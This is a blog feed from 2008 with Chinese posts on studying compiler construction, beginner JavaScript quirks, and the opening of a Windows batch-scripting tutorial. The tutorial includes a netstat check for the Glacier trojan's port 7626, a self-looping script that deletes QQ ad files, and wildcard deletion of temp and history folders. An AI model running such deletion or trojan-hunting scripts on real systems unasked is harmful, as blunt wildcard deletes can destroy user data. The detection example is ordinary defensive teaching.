关于中间代码生成，代码生成,代码优化部分的内容就实在不好说了。国内很多教材到了这部分都 会很简单地走马观花讲过去，学生听了也只是作为了解，不知道如何运用。不过这部分内容的东西如果要认真讲，单独开一学期的课程都讲不完。在《编译原理及实 践》的书上，对于这部分的讲解就恰到好处。作者主要讲解的还是一种以堆栈为基础的指令代码，十分通俗易懂，让人看了后，很容易模仿，自己下来后就可以写自 己的代码生成。当然，对于其它代码生成技术，代码优化技术的讲解就十分简单了。如果要仔细研究代码生成技术，其实另外还有本叫做《Advance Compiler Desgin and Implement》,那本书现在由机械工业出版社引进的，十分厚重，而且是英文原版。不过这本书我没有把它列为推荐书给大家，毕竟能把龙书的内容搞清 楚，在中国已经就算很不错的高手了，到那个时候再看这本《Advance Compiler Desgin and Implement》也不迟。代码优化部分在大学本科教学中还是一个不太重要的部分，就是算是实践过程中，相信大家也不太运用得到。毕竟，自己做的编译器 能正确生成执行代码已经很不错了，还谈什么优化呢？<br />
<br />
<strong>关于实践</strong><br />
<br />
编译原理的课程毕竟还只是讲解原理的课程，不 是专门的编译技术课程。这两门课程是有很大的区别的。编译技术更关注实际的编写编译器过程中运用到的技术，而原理的课关注讲解其基本理论。但是计算机科学 本身就是一门实践性很强的课程，如果能够学以致用，那才叫真正的学会。李阳在讲解疯狂英语的时候就说到，只要当你会实际中运用一个单词一个词组的时候你才 能叫学会了这个单词或者词组，而不是只是知道了它的拼写和意思。其实任何学习都是一样的，如果缺少了实践的结合，你不能算学会。<br />
<br />
编译原理 的课程主要就是讲解编译器产生的理论和原理，那么很简单，自己写个编译器就是最好的实践过程了。不过你得小心，编译系统可能是所有软件系统中最复杂的系统 之一,不然为什么大学里面还会把编译器的编写开成一门叫做编译原理的课程来讲？我很佩服那些学了操作系统原理就开始自己写操作系统，学了编译原理就开始自 己写编译器的人们，确实，在中国，敢这么做的学生太少了。且不管你这样做能不能做成功，至少有了这个尝试，会让你的程序设计，系统规划安排的功底增进不 少。我下面给出一些关于实践过程中可能会遇到的困难，希望能够在你陷入困境的前帮你一把。<br />
<br />
1. Lex和Yacc. 这两工具是作为词法分析很语法分析的工具。如果你自己写一个编译器，我十分不建议你连词法分析这种事情都亲手来写。Lex和Yacc应该是作为每本编译原 理的教材的必备内容，可是在国内的教材中缺很少看到。这两个工具是Unix系统下的小东西，如果你要在Windows中运用，那么你最好去下在 cygwin这个软件。它是个在Windows下模拟Unix的东东，里面就包含了flex.exe和bison.exe(yacc)这两个工具.这两个 工具使用起来还挺麻烦的(其实unix 下的很多十分有用的工具都是这样), 不过在《编译原理与实践》这本书上对于这两个工具的讲解十分详细,还列举了不少实际的例子。<br />
<br />
2. 做解释型语言比做生成机器代码的编译器简单。虽然说，做解释型的编译器，像Java那样的，你还得自己去写解释器，不过这样你就不必去查找机器代码的资料 了。如果你做生成的最终机器代码编译器可能会遇到问题还有就是寄存器为基础的代码生成方法。前面说过，如果你生成的是以堆栈为基础的代码，那么其代码生成 过程十分简单，需要考虑的东西也不多，如果你考虑最终的机器代码生成的话，你必须考虑机器的寄存器如何分配等麻烦的问题。<br />
<br />
3. 考虑用别人已经生成的语法文件，尽量不要自己动手写词法文件和语法文件.以前一个朋友曾经说过,写出一个好的程序语言的语法定义,就几乎完成了一个编译器 的一半.确实是这样,语法文件的编写是个很难的事情.现在网上到处都可以找到比如C语言,C++,Java, Tiny C,Minus C等语言的词法文件和语法文件,你完全可以自己下下来来用.<br />
<br />
在《编译原理及实践》的书中，作者给出了一个Tiny C的全部代码.我自我感觉作者的这个编译器做得很不错,相对于其它php,perl等语言的源代码来说,简单得多,容易看懂,而且很清晰地展现了一个完成的编译系统的实现过程.其源代码可以在作者的网站上下载.<br />
<br />
<strong>后话</strong><br />
<br />
编译原理的学习可能算是一个困难的历程,特别是对于那些不对编译系统感兴趣的同学来说.既然它已经作为了大学本科的必修课程,那么就说明的它引申出来的一套理论在整个计算机科学领域还是占有相对重要的地位.<br />
<br />
如果我们考究一下历史,就会发现很多被称为程序设计大师的人都是编译领域的高手.写出第一个微型机上运行的Basic语言的比尔盖茨,设计出Delphi的Borland的&#8221;世界上最厉害的程序员&#8221;, Sun的J***A之父, 贝尔实验室的C++之父&#8230;
<img src ="http://www.blogjava.net/yjjlovewjf/aggbug/182110.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/yjjlovewjf/" target="_blank">wǒ愛伱--咾婆 </a> 2008-02-26 00:36 <a href="http://www.blogjava.net/yjjlovewjf/archive/2008/02/26/182110.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>学习编译原理的相关建议</title><link>http://www.blogjava.net/yjjlovewjf/archive/2008/02/26/182109.html</link><dc:creator>wǒ愛伱--咾婆 </dc:creator><author>wǒ愛伱--咾婆 </author><pubDate>Mon, 25 Feb 2008 16:34:00 GMT</pubDate><guid>http://www.blogjava.net/yjjlovewjf/archive/2008/02/26/182109.html</guid><wfw:comment>http://www.blogjava.net/yjjlovewjf/comments/182109.html</wfw:comment><comments>http://www.blogjava.net/yjjlovewjf/archive/2008/02/26/182109.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/yjjlovewjf/comments/commentRss/182109.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/yjjlovewjf/services/trackbacks/182109.html</trackback:ping><description><![CDATA[<p>编译原理一般认为是较难的一门课.从网上的评论来看,有人说学了一年半软件理论,就一门编译看不懂;有人甚至说它是大本软件课程里最难的一门;有人抱怨国内的编译教材没有一本容易懂的。 </p>
<p>　　从笔者学习实践来看,第一次学了一个多月,理论部分一知半解,第二次学了一星期,基本看懂词法分析的理论部分,语法分析就一知半解了,第三次学了一星期,才基本看懂词法分析和语法分析.由此看来,这门课确实有难度.网上有的帖子,把编译器的编写搞得高深莫测一般,似乎难度极大,非常人能及. </p>
<p>　　编译原理究竟难在哪里?笔者的体会,主要在这几点: </p>
<p>　　1.错误认识: 很多人以为编译原理只能应用在写程序语言的编译器上,觉得用处不大,学习兴趣不高.而且可能觉得写编译器就必须完全手工来写. </p>
<p>　　2.自动机理论: 象NFA,DFA之类,比较抽象,要费些脑子,特别如果学离散数学时没有学自动机理论的话,更是需要多花点时间. </p>
<p>　　3.集合论的推演: 主要是一些闭包运算之类,数学基础不好的话,学起来也会感到吃力. </p>
<p>　　4.LR文法: 主要是又引入了自动机 </p>
<p>　　不管哪本编译教材,即使是绝对经典&#8221;龙书&#8221;也不例外,都要涉及到这几个难点.由于这些内容本身不好懂,作者有再大的本事,也很难把书写得象小说那么流畅好懂. </p>
<p>　　明确了难点,接着想对策.大致有这么几种: </p>
<p>　　1.端正认识: 编译原理在静态文本处理上有广泛的应用,举个简单的例子,把HTML文件转化为纯文本,利用编译原理来实现&#8221;非常&#8221;简单.理解了编译原理的实用性,大概可以提高学习兴趣. </p>
<p>　　2.反复看书: 这个办法看起来最笨,却是基本的方法.忘了是哪位名人说过,书只要多看,总能看得懂的. </p>
<p>　　3.结合源码来看: 这是经典教材Compiler Design in C的作者Allen Hollub建议的方法.这本教材的特色就是包含了大段yacc,lex的代码.这也是个好方法,而且,只有看懂了代码,才能说在根本上理解了理论.当然,要完全看懂yacc的代码,工作量是很大的,而且同样要先理解理论. </p>
<p>　　4.删繁就简,避重就轻.网上流传较广的一篇《编译原理学习导论》(作者四川大学唐良)就基本是这种思路,对于词法分析,作者避免了自动机理论和集合论推演的介绍,直接搬出源码来,大大降低了理解难度,对于语法分析,作者介绍了递归下降和LL文法及相应的源码,而对LR文法,只说&#8221;理解理论就可以了&#8221;.虽然这种方法回避了对于难点的学习,但是用这种方法学习,可以在较短时间内编写出一个能够运行的词法分析器和语法分析器,可以大大提高学习积极性. </p>
<p>笔者的思路大体上类似第4种方法,但也稍有不同.由于一个偶然的原因, 笔者需要编写一个词法分析器和语法分析器,用于程序源代码的静态分析.开始无从下手,硬着头皮看了点编译原理,觉得困难很大.后来偶然找到一个类似的开源程序,是利用一个叫做PCCTS的编译器自动生成工具开发的,大受启发.开源就是好!笔者找来了一个叫做ANTLR的工具(它是PCCTS的新版,支持生成java,c++和c#代码),又下载了一个c语言的语法文件(因为笔者需要处理c代码文件),然后自己编了少量动作(action)语句,界面代码,分析处理代码等,就这样,在对编译原理所知甚少(以前学过的因为理解不深都忘了,只记得正则表达式)的情况下,仅用一个星期就写出了程序. </p>
<p>　　这次实践使笔者对编译原理兴趣大增,重新又学了一遍编译原理,并归纳出笔者认为比较实用有效的编译原理学习步骤: </p>
<p>　　1.先利用ANTLR之类的编译器生成工具,做一个小程序(如上面提到的HTML文件转化成纯文本文件的程序),所需知识只是正则表达式的基本知识和生成工具本身的使用方法(可以看联机帮助和网上教程(tutorial)来掌握). 这样做的好处是:&nbsp; </p>
<p>　　1)可以体会到编译原理的实用性,提高学习兴趣 </p>
<p>　　2)入门容易,消除编译原理学习的畏难情绪. </p>
<p>　　3)获得词法分析器和语法分析器的感性认识,有利于加深对理论的理解. </p>
<p>　　4)获得编译器自动生成工具(compiler compiler)的使用经验,提高解决实际问题的能力.(实际工作很多都不是手编而是利用工具的) </p>
<p>　　2.象ANTLR之类的工具是开源(open source)的,可研究其源码,以便必要时自己手编分析程序. </p>
<p>　　3.回过头来看编译原理教材. 这时大概会发现,很多理论很容易懂,剩下的只有上面说的几个难点,多看几遍,重点突破. </p>
<p>　　4.结合教材所附源码,进一步加深对教材的理解 </p>
<p>　　这里顺便提一下,有的编译原理的教材,对于输入子系统不单立一章来讲,有的甚至完全忽略,笔者认为, 输入子系统相对于词法分析器和语法分析器来说当然简单地多,但也是两者的基础,故有必要看源码来理解.在这方面,ANTLR的实现机制和Lex是不同的(当然和java与c的差异有关),可对照着看. <br />
　　 <br />
　　笔者学习VC++时,深切体会到好教材的重要.笔者开始吃了劣质光盘版&#8221;教材&#8221;和&#8221;21天学VC++&#8221;的祸害,看了一个月还如入云雾之中,后来看了《VC++技术内幕》,方才豁然开朗.但是编译原理的教材却似乎质量相差不是特别大,关键还在于合适的方法.以上方法笔者也是误打误撞总结出来的,希望有所参考价值.</p>
<img src ="http://www.blogjava.net/yjjlovewjf/aggbug/182109.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/yjjlovewjf/" target="_blank">wǒ愛伱--咾婆 </a> 2008-02-26 00:34 <a href="http://www.blogjava.net/yjjlovewjf/archive/2008/02/26/182109.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>学习JS中！！！</title><link>http://www.blogjava.net/yjjlovewjf/archive/2008/02/02/179099.html</link><dc:creator>wǒ愛伱--咾婆 </dc:creator><author>wǒ愛伱--咾婆 </author><pubDate>Sat, 02 Feb 2008 15:18:00 GMT</pubDate><guid>http://www.blogjava.net/yjjlovewjf/archive/2008/02/02/179099.html</guid><wfw:comment>http://www.blogjava.net/yjjlovewjf/comments/179099.html</wfw:comment><comments>http://www.blogjava.net/yjjlovewjf/archive/2008/02/02/179099.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/yjjlovewjf/comments/commentRss/179099.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/yjjlovewjf/services/trackbacks/179099.html</trackback:ping><description><![CDATA[<p>From Today&nbsp;I will begin to study JavaScript!!...There are some tips during mystudy as follows:<br />
1.<br />
</p>
<div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><span style="color: #008080">1</span>&nbsp;<span style="color: #0000ff">for</span><span style="color: #000000">(</span><span style="color: #0000ff">var</span><span style="color: #000000">&nbsp;x&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">0</span><span style="color: #000000">;&nbsp;x&nbsp;</span><span style="color: #000000">&lt;</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">10</span><span style="color: #000000">;&nbsp;x</span><span style="color: #000000">++</span><span style="color: #000000">)<br />
</span><span style="color: #008080">2</span>&nbsp;<span style="color: #000000">{<br />
</span><span style="color: #008080">3</span>&nbsp;<span style="color: #000000">&nbsp;&nbsp;&nbsp;&nbsp;eval&nbsp;(</span><span style="color: #000000">"</span><span style="color: #000000">var&nbsp;i</span><span style="color: #000000">"</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">+</span><span style="color: #000000">&nbsp;x&nbsp;</span><span style="color: #000000">+</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">"</span><span style="color: #000000">=</span><span style="color: #000000">"</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">+</span><span style="color: #000000">&nbsp;x);<br />
</span><span style="color: #008080">4</span>&nbsp;<span style="color: #000000">&nbsp;&nbsp;&nbsp;&nbsp;alert(i5);<br />
</span><span style="color: #008080">5</span>&nbsp;<span style="color: #000000">}<br />
</span><span style="color: #008080">6</span>&nbsp;</div>
<br />
<br />
这个javascript程序并不会运行，因为，第一次循环的时候，　alert(i5)无法运行。i5这个变量还没有声明和初使化。<br />
在JS中，即使没有初始化变量，只要声明了变量。。在alert的时候还会显示说：undefined...不然没声明的变量直接用的话会被认为是错误。。。<br />
<br />
故。。。写JS的时候，提倡记得声明一下（var一个）。。 <br />
<br />
<br />
2.<br />
<div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><span style="color: #008080">&nbsp;1</span>&nbsp;<span style="color: #000000"><br />
</span><span style="color: #008080">&nbsp;2</span>&nbsp;<span style="color: #0000ff">var</span><span style="color: #000000">&nbsp;testFunction&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">new</span><span style="color: #000000">&nbsp;Function(</span><span style="color: #000000">"</span><span style="color: #000000">x</span><span style="color: #000000">"</span><span style="color: #000000">,&nbsp;</span><span style="color: #000000">"</span><span style="color: #000000">y</span><span style="color: #000000">"</span><span style="color: #000000">,&nbsp;</span><span style="color: #000000">"</span><span style="color: #000000">var&nbsp;getx&nbsp;=&nbsp;x;&nbsp;var&nbsp;gety&nbsp;=&nbsp;y;&nbsp;var&nbsp;result&nbsp;=&nbsp;getx&nbsp;+&nbsp;gety;&nbsp;return&nbsp;result;</span><span style="color: #000000">"</span><span style="color: #000000">);<br />
</span><span style="color: #008080">&nbsp;3</span>&nbsp;<span style="color: #000000">alert(testFunction(</span><span style="color: #000000">3</span><span style="color: #000000">,&nbsp;</span><span style="color: #000000">6</span><span style="color: #000000">));<br />
</span><span style="color: #008080">&nbsp;4</span>&nbsp;<span style="color: #000000"><br />
</span><span style="color: #008080">&nbsp;5</span>&nbsp;<span style="color: #0000ff">function</span><span style="color: #000000">&nbsp;test()<br />
</span><span style="color: #008080">&nbsp;6</span>&nbsp;<span style="color: #000000">{<br />
</span><span style="color: #008080">&nbsp;7</span>&nbsp;<span style="color: #000000">}<br />
</span><span style="color: #008080">&nbsp;8</span>&nbsp;<span style="color: #0000ff">var</span><span style="color: #000000">&nbsp;obj&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">new</span><span style="color: #000000">&nbsp;test();<br />
</span><span style="color: #008080">&nbsp;9</span>&nbsp;<span style="color: #000000">obj.name&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">"</span><span style="color: #000000">oso</span><span style="color: #000000">"</span><span style="color: #000000">;<br />
</span><span style="color: #008080">10</span>&nbsp;<span style="color: #000000">obj.num&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">52</span><span style="color: #000000">;<br />
</span><span style="color: #008080">11</span>&nbsp;<span style="color: #0000ff">function</span><span style="color: #000000">&nbsp;demo()<br />
</span><span style="color: #008080">12</span>&nbsp;<span style="color: #000000">{<br />
</span><span style="color: #008080">13</span>&nbsp;<span style="color: #000000">&nbsp;&nbsp;&nbsp;&nbsp;alert(</span><span style="color: #000000">"</span><span style="color: #000000">wjf,&nbsp;&nbsp;you&nbsp;are&nbsp;my&nbsp;love!!</span><span style="color: #000000">"</span><span style="color: #000000">);<br />
</span><span style="color: #008080">14</span>&nbsp;<span style="color: #000000">}<br />
</span><span style="color: #008080">15</span>&nbsp;<span style="color: #000000">obj.say&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;demo;<br />
</span><span style="color: #008080">16</span>&nbsp;<span style="color: #000000">obj.say();</span></div>
第２行中的Function得第一个字母大写，在其它的函数声明定义的时候，得小写。不然出错！！！<br />
<br />
<img src ="http://www.blogjava.net/yjjlovewjf/aggbug/179099.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/yjjlovewjf/" target="_blank">wǒ愛伱--咾婆 </a> 2008-02-02 23:18 <a href="http://www.blogjava.net/yjjlovewjf/archive/2008/02/02/179099.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>批处理最完整人性化教程</title><link>http://www.blogjava.net/yjjlovewjf/archive/2008/01/23/177260.html</link><dc:creator>wǒ愛伱--咾婆 </dc:creator><author>wǒ愛伱--咾婆 </author><pubDate>Wed, 23 Jan 2008 06:06:00 GMT</pubDate><guid>http://www.blogjava.net/yjjlovewjf/archive/2008/01/23/177260.html</guid><wfw:comment>http://www.blogjava.net/yjjlovewjf/comments/177260.html</wfw:comment><comments>http://www.blogjava.net/yjjlovewjf/archive/2008/01/23/177260.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/yjjlovewjf/comments/commentRss/177260.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/yjjlovewjf/services/trackbacks/177260.html</trackback:ping><description><![CDATA[<h2>批处理最完整人性化教程</h2>
<br />
这是一篇技术教程，我会用很简单的文字表达清楚自己的意思，你要你识字就能看懂，就能学到知识。写这篇教程的目的，是让每一个看过这些文字的朋友记住一句
话：如果爱可以让事情变的更简单，那么就让它简单吧！看这篇教程的方法，就是慢！慢慢的，如同品一个女人、一杯茗茶，你会发现很多以前就在眼前的东西突然
变的很遥远，而有些很遥远的东西却又突然回到了眼前。 <br />
<br />
先概述一下批处理是个什么东东。批处理的定义，至今我也没能给出一个合适的----众多高手们也都没给出----反正我不知道----看了我也不一定信服
----我是个菜鸟，当然就更不用说了；但我想总结出一个&#8220;比较合适的&#8221;，而且我也相信自己可以把它解释的很清楚，让更多的菜鸟都知道这是个什么东东，你
用这个东东可以干什么事情。或许你会因为这篇文章而&#8220;无条件爱上批处理&#8221;，那么我的目的就达到了----我就是要让你爱上它，我就这么拽，你能怎么着？？
真的，爱有时候就这么拽，就是这么没理由，就是这么不要脸！真的！ <br />
<br />
按照我的理解，批处理的本质，是一堆DOS命令按一定顺序排列而形成的集合。 <br />
<br />
OK,never claver and get to
business（闲话少说言归正传）。批处理，也称为批处理脚本，英文译为BATCH，批处理文件后缀BAT就取的前三个字母。它的构成没有固定格式，
只要遵守以下这条就ok了：每一行可视为一个命令，每个命令里可以含多条子命令，从第一行开始执行，直到最后一行结束，它运行的平台是DOS。批处理有一
个很鲜明的特点：使用方便、灵活，功能强大，自动化程度高。我不想让自己写的教程枯燥无味，因为牵缠到代码（批处理的内容算是代码吧？）的问题本来就是枯
燥的，很少有人能面对满屏幕的代码而静下心来。所以我会用很多简单实用的例子让读这篇教程的朋友去体会批处理的那四射的魅力，感受它那古灵精怪的性格，不
知不觉中爱上批处理（晕，怎么又是爱？到底批处理和爱有什么关系？答案：没有！）。再说句&#8220;闲话&#8221;：要学好批处理，DOS基础一定要牢！当然脑子灵活也是
很重要的一方面。 <br />
<br />
例一、先给出一个最easy的批处理脚本让大家和它混个脸熟，将下面的几行命令保存为name.bat然后执行（以后文中只给出代码，保存和执行方式类似）： <br />
<br />
ping sz.tencent.com &gt; a.txt <br />
ping sz1.tencent.com &gt;&gt; a.txt <br />
ping sz2.tencent.com &gt;&gt; a.txt <br />
ping sz3.tencent.com &gt;&gt; a.txt <br />
ping sz4.tencent.com &gt;&gt; a.txt <br />
ping sz5.tencent.com &gt;&gt; a.txt <br />
ping sz6.tencent.com &gt;&gt; a.txt <br />
ping sz7.tencent.com &gt;&gt; a.txt <br />
exit <br />
<br />
是不是都能看的懂？是不是很easy？但它的作用却是很实用的，执行这个批处理后，可以在你的当前盘建立一个名为a.txt的文件，它里面记录的信息可以
帮助你迅速找到速度最快的QQ服务器，从而远离&#8220;从服务器中转&#8221;那一痛苦的过程。这里&gt;的意思，是把前面命令得到的东西放到后面所给的地方，
&gt;&gt;的作用，和&gt;的相同，区别是把结果追加到前一行得出的结果的后面，具体的说是下一行，而前面一行命令得出的结果将保留，这样可以使
这个a.txt文件越来越大（想到如何搞破坏了？？）。By the
way，这个批处理还可以和其他命令结合，搞成完全自动化判断服务器速度的东东，执行后直接显示速度最快的服务器IP，是不是很爽？后面还将详细介绍。
<br />
<br />
例二、再给出一个已经过时的例子（a.bat）： <br />
<br />
@echo off <br />
if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif <br />
a.bat <br />
<br />
为什么说这是个过时的例子呢？很简单，因为现在已经几乎没有人用带广告的QQ了（KAO，我的QQ还显示好友三围呢！！），所以它几乎用不上了。但曾经它
的作用是不可小窥的：删除QQ的广告，让对话框干干净净。这里用的地址是QQ的默认安装地址，默认批处理文件名为a.bat，你当然可以根据情况自行修
改。在这个脚本中使用了if命令，使得它可以达到适时判断和删除广告图片的效果，你只需要不关闭命令执行后的DOS窗口，不按CTRL+C强行终止命令，
它就一直监视是否有广告图片（QQ也再不断查看自己的广告是否被删除）。当然这个脚本占用你一点点内存，呵呵。 <br />
例三，使用批处理脚本查是否中冰河。脚本内容如下： <br />
<br />
@echo off <br />
netstat -a -n &gt; a.txt <br />
type a.txt | find "7626" &amp;&amp; echo "Congratulations! You have infected GLACIER!" <br />
del a.txt <br />
pause &amp; exit <br />
<br />
这里利用了netstat命令，检查所有的网络端口状态，只需要你清楚常见木马所使用的端口，就能很easy的判断出来是否被人种了冰河。然这不是确定
的，因为冰河默认的端口7626，完全可以被人修改。这里介绍的只是方法和思路。这里介绍的是方法和思路稍做改动，就变成可以检查其他木马的脚本了，再改
动一下，加进去参数和端口及信息列表文件后，就变成自动检测所有木马的脚本了。呵呵，是不是很过瘾？脚本中还利用了组合命令&amp;&amp;和管道命
令|，后面将详细介绍。 <br />
<br />
例四，借批处理自动清除系统垃圾，脚本如下： <br />
<br />
@echo off <br />
if exist c:\windows\temp\*.* del c:\windows\temp\*.* <br />
if exist c:\windows\Tempor~1\*.* del c:\windows\Tempor~1\*.* <br />
if exist c:\windows\History\*.* del c:\windows\History\*.* <br />
if exist c:\windows\recent\*.* del c:\windows\recent\*.* <br />
<br />
将以上脚本内容保存到autoexec.bat里，每次开机时就把系统垃圾给自动删除了。这里需要注意两点：一、DOS不支持长文件名，所以就出现了Tempor~1这个东东；二、可根据自己的实际情况进行改动，使其符合自己的要求。 <br />
<br />
怎么样，看到这里，你对批处理脚本是不是已经有点兴趣了？是不是发现自己已经慢慢爱上了这个东东？别高兴的太早，爱不是一件简单的事，它也许能带给你快乐
和幸福，当然也能让你痛苦的想去跳楼。如果你知道很难还敢继续的话，I 服了
YOU！继续努力吧，也许到最后你不一定得到真爱（真的有这可能，爱过的人都知道），但你可以体会到整个爱的过程，就是如此。
酸、苦和辣，有没有甜天知道。 <br />
<br />
为什么会把批处理和爱情扯上关系？不是我无聊，也不是因为这样写有趣多少，原因有二：其一，批处理和爱情有很多相同的地方，有些地方我用&#8220;专业&#8221;的行话解
释不清（我不怀疑自己的表达能力，而是事情本身就不好说清楚），说了=没说，但用地球人都知道的爱情一比喻（爱情是什么？我**怎么知道！！），没准你心
里一下就亮堂了，事半功倍，何乐而不为？其二，我这段时间状态不是很好，感冒发烧头疼鼻塞，但主要还是感情上精神摧残，搞的人烦透了，借写教程之际感慨几
句，大家就全当买狗皮膏药了，完全可以省略不看（也许还真有点效果----不至于让你看着看着就睡着了，把头磕了来找我报销医药费）。说不定下次的教程中
大家还会看到杨过、张无忌等金老前辈笔下的英雄们。 <br />
<br />
看过第一章的朋友，一定对批处理有了初步的印象，知道它到底是用来干什么的了。但你知道运用批处理的精髓在哪里吗？其实很简单：思路要灵活！没有做不到
的，只有想不到的。这和爱情就有点不同了，因为爱情的世界是两个人的世界，一厢情愿不叫爱情（补充：那叫单恋。废话！）而批处理却是一个人的天堂，你可以
为所欲为，没有达不到的境界！ <br />
<br />
批处理看起来杂乱无章，但它的逻辑性之强，绝对不比其他程序语言（如汇编）低，如果你写的脚本是一堆乱麻，虽然每一行命令都正确，但从头执行到尾后，不一
定得到你想要的结果，也许是一屏幕的Bad command or fail
name。这又和爱情有了共同点：按步骤来经营，缺少或增多的步骤都可能导致不想看见的结果。陷入爱河的朋友，相信没有不肯定这句话的。我的爱情批处理，
输出的结果不是Bad command or fail
name，屏幕是这么显示的：&#8216;你的爱情'不是内部或外部命令，也不是可运行的程序或批处理文件。然后就是光标不停闪动，等待这下一次错误的输入。 <br />
<br />
从这一章开始，将由浅入深的介绍批处理中常用的命令，很多常见DOS命令在批处理脚本中有这广泛的应用，它们是批处理脚本的BODY部分，但批处理比
DOS更灵活多样，更具备自动化。要学好批处理，DOS一定要有比较扎实的基础。这里只讲述一些比较少用（相对来说）的DOS命令，常用命令如COPY、
DIR等就不做介绍了（这些看似简单的命令实际复杂的很，我怕自己都说不清楚！）。 <br />
<br />
例五，先看一个实例。这是一个很有意思的脚本，一个小巧实用的好东东，把批处理&#8220;自动化&#8221;的特点体现的淋漓尽致。先介绍一下这个脚本的来历：大家都知道汇
编程序（MASM）的上机过程，先要对源代码进行汇编、连接，然后再执行，而这中间有很多环节需要输入很多东西，麻烦的很（只有经历过的朋友才懂得）。如
何使这个过程变的简单呢？在我们搞汇编课程设计时，我&#8220;被逼&#8221;写了这个脚本，用起来很爽，呵呵。看看脚本内容： <br />
<br />
@echo off <br />
::close echo <br />
cls <br />
::clean screen <br />
echo This programme is to make the MASM programme automate <br />
::display info <br />
echo Edit by CODERED <br />
::display info <br />
echo Mailto me : qqkiller***@sina.com <br />
::display info <br />
if "%1"=="" goto usage <br />
::if input without paramater goto usage <br />
if "%1"=="/?" goto usage <br />
::if paramater is "/?" goto usage <br />
if "%1"=="help" goto usage <br />
::if paramater is "help" goto usage <br />
pause <br />
::pause to see usage <br />
masm %1.asm <br />
::assemble the .asm code <br />
if errorlevel 1 pause &amp; edit %1.asm <br />
::if error pause to see error msg and edit the code <br />
link %1.obj &amp; %1 <br />
::else link the .obj file and execute the .exe file <br />
:usage <br />
::set usage <br />
echo Usage: This BAT file name [asm file name] <br />
echo Default BAT file name is START.BAT <br />
::display usage <br />
<br />
先不要被这一堆的东西给吓怕了，静下心来仔细的看（回想一下第一章中第一段是怎么写的！！）。已经给出了每一行命令的解释，两个冒号后面的内容为前一行内
容解释的E文（害怕E文的朋友也不用担心，都很easy，一看就懂了，实在不懂了不会查词典啊，这么懒？），在脚本执行时不显示，也不起任何作用。倒数第
5行行首有一个冒号，可不是笔误哦！具体作用后面会详细讲到。此脚本中masm和link是汇编程序和连接程序，必须和edit程序以及你要编辑的源代码
（当然还有这个脚本，废话！）一起在当前目录中。使用这个批处理脚本，可以最大可能的减少手工输入，整个过程中只需要按几下回车键，即可实现从汇编源代码
到可执行exe文件的自动化转换，并具备智能判断功能：如果汇编时源代码出现错误（汇编不成功），则自动暂停显示错误信息，并在按任意键后自动进入编辑源
代码界面；如果源代码汇编成功，则进行连接，并在连接后自动执行生成的exe文件。另外，由于批处理命令的简单性和灵活性，这个脚本还具备良好的可改进
性，简单进行修改就可以符合不同朋友的上机习惯。正在学汇编的朋友，一定别忘了实习一下！ <br />
<br />
在这个脚本中出现了如下几个命令：@、echo、::、pause、:和goto、%以及if。而这一章就将讲述这几个命令。 <br />
<br />
1、@ <br />
<br />
这个符号大家都不陌生，email的必备符号，它怎么会跑到批处理中呢？呵呵，不是它的错，批处理本来就离不开它，要不就不完美了。它的作用是让执行窗口
中不显示它后面这一行的命令本身（多么绕口的一句话！）。呵呵，通俗一点说，行首有了它的话，这一行的命令就不显示了。在例五中，首行的@echo
off中，@的作用就是让脚本在执行时不显示后面的echo off部分。这下懂了吧？还是不太懂？没关系，看完echo命令简介，自然就懂了。 <br />
<br />
2、echo <br />
<br />
中文为&#8220;反馈&#8221;、&#8220;回显&#8221;的意思。它其实是一个开关命令，就是说它只有两种状态：打开和关闭。于是就有了echo on和echo
off两个命令了。直接执行echo命令将显示当前echo命令状态（off或on）执行echo
off将关闭回显，它后面的所有命令都不显示命令本身，只显示执行后的结果，除非执行echo on命令。在例五中，首行的@命令和echo
off命令联合起来，达到了两个目的：不显示echo
off命令本身，不显示以后各行中的命令本身。的确是有点乱，但你要是练习一下的话，3分钟包会，不会的退钱！ <br />
<br />
echo命令的另一种用法一：可以用它来显示信息！如例五中倒数第二行，Default BAT file name is START.BAT将在脚本执行后的窗口中显示，而echo命令本身不显示（为什么？？）。 <br />
echo命令的另一种用法二：可以直接编辑文本文件。例六： <br />
echo nbtstat -A 192.168.0.1 &gt; a.bat <br />
echo nbtstat -A 192.168.0.2 &gt;&gt; a.bat <br />
echo nbtstat -A 192.168.0.3 &gt;&gt; a.bat <br />
<br />
